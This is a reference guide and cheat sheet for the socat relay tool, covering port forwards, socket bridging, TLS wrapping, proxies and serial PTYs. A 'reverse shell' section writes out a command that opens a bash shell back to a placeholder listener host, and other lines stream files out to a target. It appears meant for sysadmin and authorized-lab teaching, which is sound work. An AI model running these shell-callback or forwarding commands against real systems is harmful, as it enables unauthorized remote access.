socat

socat (SOcket CAT) opens two addresses and pumps bytes between them, where an address can be a TCP or UDP socket, a UNIX socket, a serial line, a TLS channel, a file, or a subprocess. Reach for it the moment nc runs out of room: a relay, a port forward, a UNIX-socket-to-TCP bridge, a TLS wrapper, a proxy hop, or a virtual serial port.

Mental model: socat ADDR1 ADDR2. Name the left address, name the right address, and it bridges them.

Only relay, forward, or listen on hosts you own or are explicitly authorized to test. A forward can move traffic into places that were never meant to be reachable.

How socat works: core concepts
  • Address pair: socat’s whole job is socat ADDR1 ADDR2, open two addresses and pump bytes between them
  • Address types: TCP, UDP, UNIX-CONNECT/UNIX-LISTEN, OPENSSL (TLS), FILE, EXEC/SYSTEM, PTY, or a serial line like /dev/ttyUSB0
  • - (dash): the stdin/stdout address; put it on one side to type at or log the other
  • LISTEN vs CONNECT: TCP-LISTEN:PORT waits for a client, TCP:HOST:PORT dials out; a forward pairs one of each
  • Address options: comma-glued suffixes on an address, for example reuseaddr, fork, bind=IP, verify=0, crlf
  • fork: spawn a child per connection so a listener survives past the first client
  • Data logging: -v prints transferred bytes as text, -x as hex; > and < mark the two directions
When to reach for socat (and when not)

Reach for it when a plain nc is too simple: a relay or port forward, bridging a UNIX socket to TCP (or the reverse), wrapping a plaintext service in TLS, hex-dumping a protocol to reverse it, bridging UDP to TCP, making a linked virtual serial pair, or upgrading a rough reverse pipe into a real interactive PTY.

Reach for something else for a quick one-shot listener or connection test (nc), for real encrypted, authenticated tunneling when you have a shell and creds (ssh -L/-R/-D), to watch the forwarded bytes actually cross the wire (tcpdump), or for purpose-built multi-hop pivoting in an authorized engagement (chisel / ligolo-ng).

Install, update, verify#

sudo apt install -y socat                 # Debian / Ubuntu / Kali
sudo dnf install -y socat                 # Fedora / RHEL
brew install socat                        # macOS
sudo apt install --only-upgrade -y socat  # update

socat -V            # version + compiled-in features (OPENSSL, PTY, READLINE)
command -v socat    # confirm it's on PATH

The -V output is worth a look: it lists which features were built in. If a TLS example fails, check -V for WITH_OPENSSL first.

Flags you’ll actually use#

socat’s behavior is a handful of global flags plus comma-glued address options. Skim these first; the cheat sheet below is these flags combined.

Flag / optionDoesFlag / optionDoes
-vLog transferred data as textreuseaddrRe-bind a port immediately
-xLog transferred data as hexforkHandle repeat / multiple clients
-d -dRaise diagnostic detail (repeat)bind=IPListen on one interface only
-u / -UOne-way flow (L->R / R->L)verify=0Skip TLS cert check (lab)
-T NClose a session after N s idlecert= / cafile=Present a cert / trust a CA
-VPrint version + featurescrlfTranslate LF to/from CRLF

Cheat sheet#

Several blocks build up one option at a time, so you can stop at the line that does the job.

# Connect out: build up a client (stop at the line you need)
socat - TCP:TARGET_IP:RPORT                    # 1. interactive TCP client (like nc)
socat -v - TCP:TARGET_IP:RPORT                 # 2. + log bytes each way as text
socat -x - TCP:TARGET_IP:RPORT                 # 3. hex dump instead (binary protocols)
socat -,crlf TCP:TARGET_IP:25                  # line protocol: Enter sends CRLF (SMTP/HTTP)

# Listen: build up a server
socat - TCP-LISTEN:9000                        # 1. one client, then exit
socat - TCP-LISTEN:9000,reuseaddr              # 2. + rebind the port immediately
socat -v TCP-LISTEN:9000,reuseaddr,fork -      # 3. + many clients, log bytes to terminal

# Port forward (relay)
socat TCP-LISTEN:LPORT,reuseaddr,fork TCP:TARGET_IP:RPORT                 # forward to a remote
socat TCP-LISTEN:LPORT,reuseaddr,fork,bind=127.0.0.1 TCP:TARGET_IP:RPORT  # loopback-only
socat TCP6-LISTEN:LPORT,reuseaddr,fork TCP4:TARGET_IP:RPORT               # IPv6 front, IPv4 back

# UNIX sockets
socat - UNIX-CONNECT:/var/run/docker.sock                          # talk to a UNIX socket
socat TCP-LISTEN:LPORT,reuseaddr,fork UNIX-CONNECT:/run/app.sock   # expose a socket as TCP
socat UNIX-LISTEN:/tmp/app.sock,reuseaddr,fork TCP:TARGET_IP:RPORT # expose TCP as a socket

# TLS
socat -v - OPENSSL:DOMAIN:RPORT,verify=0                           # connect, skip cert check
socat - OPENSSL:DOMAIN:RPORT,cafile=ca.pem                         # connect, verify against a CA
socat OPENSSL-LISTEN:LPORT,reuseaddr,fork,cert=lab.pem,verify=0 TCP:127.0.0.1:RPORT  # TLS front-end

# UDP
socat -T 15 UDP-LISTEN:LPORT,reuseaddr,fork UDP:TARGET_IP:RPORT    # UDP forward, 15s idle drop
socat UDP-LISTEN:LPORT,reuseaddr,fork TCP:TARGET_IP:RPORT          # UDP in, TCP out

# Files and capture
socat -u TCP-LISTEN:9000,reuseaddr,fork FILE:capture.bin,create,append   # append incoming bytes
socat -u FILE:payload.bin TCP:TARGET_IP:RPORT                            # stream a file out

# Proxies
socat - PROXY:127.0.0.1:TARGET_IP:RPORT,proxyport=8080     # HTTP CONNECT proxy
socat - SOCKS4A:127.0.0.1:DOMAIN:RPORT,socksport=9050      # SOCKS4a (e.g. Tor)

# Serial / PTY
socat - /dev/ttyUSB0,b115200,raw,echo=0        # attach to a serial console
socat -d -d PTY,raw,echo=0 PTY,raw,echo=0      # linked virtual serial pair (prints both names)

Command breakdowns#

Each block below explains one situation, the exact command, and what to expect back.

Talk to a TCP service and log every byte#

socat -v - TCP:TARGET_IP:RPORT

An interactive client like nc, but it also prints what goes each way. Ideal for reverse-engineering a text protocol. > lines are what you sent, < lines are what came back.

Hex-dump a binary protocol#

socat -x - TCP:TARGET_IP:RPORT

Same session, but each direction is dumped as hex plus ASCII, so non-printable bytes are readable. Reach for this the moment -v output turns to garble.

Watch what connects to a port#

socat -v TCP-LISTEN:9000,reuseaddr,fork -

Accepts repeated connections and echoes the bytes to your terminal. A quick listener for testing a callback, a webhook, or a firewall rule. reuseaddr lets you restart it instantly; fork keeps it alive past the first client.

Forward a local port to a remote service#

socat TCP-LISTEN:LPORT,reuseaddr,fork TCP:TARGET_IP:RPORT

Anything hitting LPORT on this box is relayed to TARGET_IP:RPORT. fork keeps it serving after the first client disconnects. This is the classic socat relay.

Keep a forward loopback-only#

socat TCP-LISTEN:LPORT,reuseaddr,fork,bind=127.0.0.1 TCP:TARGET_IP:RPORT

Same forward, but only local clients can connect. The safe default whenever you do not need the relay exposed to the whole network.

Bridge IPv6 clients to an IPv4 service#

socat TCP6-LISTEN:LPORT,reuseaddr,fork TCP4:TARGET_IP:RPORT

Terminates on IPv6, dials out on IPv4 (or swap them). Handy when a client and a service disagree on address family and you cannot change either one.

Talk to a UNIX socket#

socat - UNIX-CONNECT:/var/run/docker.sock

Bridges your stdin/stdout to the socket. Type GET /version HTTP/1.0 then two Enters to poke the Docker API. Works for any app that listens on a UNIX socket.

Expose a UNIX socket as a TCP port#

socat TCP-LISTEN:LPORT,reuseaddr,fork UNIX-CONNECT:/run/app.sock

Lets an authorized remote tool that only speaks TCP reach a socket-only service. Reverse the two addresses (UNIX-LISTEN on the left) to publish a TCP service as a local socket instead.

Connect to a TLS service, ignoring the cert#

socat -v - OPENSSL:DOMAIN:RPORT,verify=0

Wraps the session in TLS and skips certificate checks. Lab and self-signed only. Swap verify=0 for cafile=ca.pem to actually validate against a known CA.

Put TLS in front of a plaintext service#

# one-time self-signed cert for the lab
openssl req -newkey rsa:2048 -nodes -x509 -days 365 -keyout lab.key -out lab.crt \
  -subj "/CN=lab" && cat lab.key lab.crt > lab.pem
# terminate TLS on LPORT, hand cleartext to the local backend
socat OPENSSL-LISTEN:LPORT,reuseaddr,fork,cert=lab.pem,verify=0 TCP:127.0.0.1:RPORT

Clients connect over TLS; socat decrypts and forwards to the plaintext service. A quick way to give a bare backend an encrypted front door for testing.

Bridge UDP to TCP#

socat -T 15 UDP-LISTEN:LPORT,reuseaddr,fork TCP:TARGET_IP:RPORT

Lets a UDP-only client reach a TCP service. -T 15 drops idle sessions after 15 seconds, which matters because UDP has no connection to close on its own.

Capture incoming bytes to a file#

socat -u TCP-LISTEN:9000,reuseaddr,fork FILE:capture.bin,create,append

-u makes the flow one-way (left to right); each client’s bytes are appended to the file and nothing is sent back. Point it the other way (-u FILE:payload.bin TCP:...) to stream a file out.

Speak a CRLF line protocol by hand#

socat -,crlf TCP:TARGET_IP:25

Translates your Enter key to \r\n so line-oriented protocols like SMTP, HTTP, and POP3 accept each typed line instead of hanging on a bare LF.

Upgrade a reverse shell to a full PTY#

# your box (the listener):
socat file:$(tty),raw,echo=0 TCP-LISTEN:LPORT
# the lab host connects back:
socat TCP:LHOST:LPORT EXEC:'bash -li',pty,stderr,setsid,sigint,sane

Turns a rough pipe into a real terminal: job control, arrow keys, Ctrl-C, and tab-completion all work. Authorized labs only.

Reach a target through an HTTP or SOCKS proxy#

socat - PROXY:127.0.0.1:TARGET_IP:RPORT,proxyport=8080     # HTTP CONNECT proxy
socat - SOCKS4A:127.0.0.1:DOMAIN:RPORT,socksport=9050      # SOCKS4a (e.g. Tor)

Tunnels a plain TCP session through a proxy with no extra wrapper. SOCKS4A resolves the hostname at the proxy, which is what you want when the name only resolves on the far side.

Make a virtual serial pair for testing#

socat -d -d PTY,raw,echo=0 PTY,raw,echo=0

Creates two linked pseudo-terminals and, at -d -d, prints both device names. Point one program at each end to test serial code with no hardware.

Reading the output#

socat writes diagnostics to stderr, each line prefixed by severity: E error, W warning, N notice (shown at -d -d). Data logged by -v / -x is prefixed > or < for the two directions, with a timestamp and length=.

You seeMeaningDo next
> length=27 / < length=13Bytes crossing, one line per directionThe relay is live and carrying traffic
N accepting connection from ...A client hit your listenerExpected on any working LISTEN
N ... connection succeededThe connect side reached the targetForward path is up end-to-end
E ... Connection refusedFar address isn’t listeningFix / confirm the target, not socat
W ... Address already in usePort still boundAdd reuseaddr or free the port

A clean relay does not mean the protocol is valid. socat forwards bytes even when the app on top is broken, so verify at the application layer.

Troubleshooting#

ProblemCauseFix
command not foundNot installed / stale PATHReinstall; open a fresh shell
Address already in useOld listener still holds the portAdd reuseaddr, or kill it / pick a new port
Connection refusedFar address isn’t listeningConfirm the target service is up first
Permission denied bindingPort below 1024 needs rootUse a high port, or sudo
Listener quits after one clientMissing forkAdd ,fork to the LISTEN address
TLS handshake / verify failsCert issue or no OpenSSL buildCheck socat -V for OPENSSL; add verify=0 in labs
Relay works but the app is brokensocat only moves bytesDebug at the application layer
Output is unreadable garbleBinary protocol under -vSwitch to -x for hex

Gotchas#

  • fork is what makes a listener reusable. Without it socat serves exactly one connection and exits, so nearly every TCP-LISTEN wants ,reuseaddr,fork.
  • A bare TCP-LISTEN binds every interface. Add bind=127.0.0.1 unless you truly need the far side reachable from the whole network. This is the most expensive socat mistake.
  • verify=0 turns off all TLS validation. Fine for a self-signed lab endpoint; never point it at anything real.
  • Address options are comma-glued, never space-separated. TCP-LISTEN:9000,reuseaddr,fork is one argument; a stray space makes socat read the rest as a second address and fail confusingly.
  • EXEC runs the program directly, not via a shell, so pipes, globs, and && do not expand. Use SYSTEM:'...' (or EXEC:'bash -c "..."') when you need shell features.
  • UDP has no connection to end, so a UDP-LISTEN forward can hang on a dead session forever. Set -T N to reap idle flows.

Pairs with#

Reach for nc for a quick one-shot listener or connection test before you bother building a socat relay. Use tcpdump alongside a forward to watch the bytes actually cross the wire and confirm the path. When you have credentials and a shell, ssh -L/-R/-D is the right tool for real encrypted, authenticated tunneling, and socat is best kept for the odd endpoints ssh cannot bridge (UNIX sockets, PTYs, serial lines, TLS-wrapping). For purpose-built multi-hop pivoting in an authorized engagement, reach for chisel or ligolo-ng instead.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop